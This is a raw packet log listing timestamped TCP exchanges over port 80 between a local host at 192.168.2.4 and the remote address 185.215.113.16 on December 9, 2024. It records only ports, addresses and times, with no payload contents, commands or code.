Dec 9, 2024 23:09:38.343347073 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.343409061 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.344086885 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.344099045 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.344141006 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.344867945 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.344927073 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.344938993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.345079899 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.345706940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.345777988 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.345822096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.345871925 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.346534014 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.346669912 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.346781969 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.347439051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.347522020 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.347539902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.347625971 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.348263025 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.348346949 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.348364115 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.348392010 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.349088907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.349143028 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.349152088 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.349196911 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.349947929 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.350055933 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.350087881 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.350106001 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.350895882 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.350908995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.350948095 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.351646900 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.351708889 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.351782084 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.351850033 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.352497101 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.352554083 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.352612972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.352664948 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.353341103 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.353421926 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.353430033 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.353478909 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.354187965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.354238033 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.354302883 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.354356050 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.355516911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.355559111 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.355715990 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.355767965 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.355889082 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.355938911 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.356003046 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.356129885 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.356812000 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.356910944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.356971979 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.357611895 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.357669115 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.357712030 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.357765913 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.358455896 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.358506918 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.358623028 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.358675957 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.359298944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.359345913 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.359375000 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.359426022 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.360116959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.360234022 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.360399961 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.360966921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.361020088 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.361076117 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.361138105 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.361815929 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.361865997 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.361921072 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.361967087 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.362653971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.362708092 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.362757921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.362807035 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.363547087 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.363648891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.364181042 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.364341974 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.364392996 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.364439011 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.364490986 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.365236998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.365298033 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.365323067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.365453959 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.366103888 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.366242886 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.366266966 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.366282940 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.366997004 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.367070913 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.367085934 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.367218971 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.367815018 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.367872000 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.367961884 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.368642092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.368706942 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.368776083 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.368824959 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.369441032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.369493008 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.369602919 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.370289087 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.370297909 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.370420933 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.370430946 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.370474100 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.371159077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.371215105 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.371274948 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.371334076 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.372014999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.372142076 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.372366905 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.372868061 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.372915983 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.372956991 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.373023033 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.373681068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.373747110 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.373789072 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.373838902 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.374550104 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.374655008 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.374762058 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.375427961 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.375479937 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.375489950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.375541925 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.483576059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.483640909 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.483813047 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.483974934 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.484081030 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.484846115 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.484934092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.485435009 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.485625982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.489083052 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.526437044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.526588917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.526742935 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.526946068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.527060032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.527823925 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.527894974 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.528661013 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.528702974 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.529140949 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.529495001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.529608965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.530260086 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.530349970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.530430079 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.530443907 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.530471087 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.531289101 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.531369925 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.531405926 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.531416893 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.532064915 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.532160044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.532191038 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.532218933 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.532938957 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.533008099 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.533740997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.533864021 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.534625053 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.534723997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.535445929 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.535574913 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.536302090 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.536453962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.537179947 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.537277937 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.538074970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.538189888 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.538891077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.538902044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.539299965 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.539458990 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.539494038 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.539658070 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.539799929 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.540086031 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.540513992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.540565968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.541018963 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.541403055 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.541507006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.542247057 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.542388916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.543080091 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.543240070 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.543992043 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.544076920 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.544766903 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.544920921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.545674086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.545742989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.546525002 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.546587944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.547162056 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.547322989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.547481060 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.548209906 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.548264980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.549068928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.549192905 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.549341917 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.549387932 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.549463034 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.549901962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.550005913 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.550728083 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.550837040 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.551331043 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.551592112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.551635027 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.551702976 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.551743031 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.552454948 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.552567959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.552684069 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.553277016 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.553378105 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.553392887 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.553560972 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.554121971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.554222107 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.554769993 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.555048943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.555068016 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.555537939 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.555841923 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.555860043 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.556811094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.556916952 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.557564020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.557718039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.558376074 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.558522940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.559248924 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.559401989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.559497118 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.559658051 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.560086012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.560168982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.560359955 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.560893059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.561027050 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.561146975 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.561783075 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.561806917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.562614918 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.562680960 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.562762976 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.563476086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.563606977 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.564320087 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.564393997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.565161943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.565293074 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.565740108 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.566045046 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.566426039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.566855907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.566966057 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.567679882 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.567713976 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.567835093 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.567962885 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.710611105 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.710911989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.710923910 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.711107969 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.711210012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.711916924 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.712085009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.712759018 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.716483116 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.718755007 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.718847990 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.718941927 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.719012022 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.719822884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.719954967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.720467091 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.720555067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.721333981 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.721400023 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.722162962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.722295046 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.723027945 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.723155022 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.723881960 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.723947048 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.724699974 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.724797010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.725560904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.725642920 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.726428986 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.726521969 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.727247000 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.727296114 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.728089094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.728202105 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.728987932 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.729192019 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.729830980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.729912996 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.730643034 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.730694056 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.731524944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.731616020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.732235909 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.732338905 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.732455015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.733305931 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.733434916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.734112978 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.734124899 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.734885931 CET	80	49838	185.215.113.16	192.168.2.4
